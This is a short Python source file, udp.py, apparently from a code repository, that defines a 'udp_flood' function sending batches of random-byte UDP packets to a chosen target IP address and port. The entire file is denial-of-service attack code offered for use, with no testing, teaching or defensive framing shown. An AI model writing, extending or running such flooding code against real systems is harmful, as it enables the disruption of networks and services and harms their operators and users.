udp.py 458 Bytes
import random
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)


def udp_flood(targetIP, targetPORT):
    for _ in range(16):
        try:
            payload = random._urandom(random.randint(1, 60))
            sock.sendto(payload, (targetIP, targetPORT))
        except Exception as e:
            print(f"Error while sending UDP packet\n{e}")
        else:
            print(f"UDP random packet sent! Payload size: {len(payload)}. ")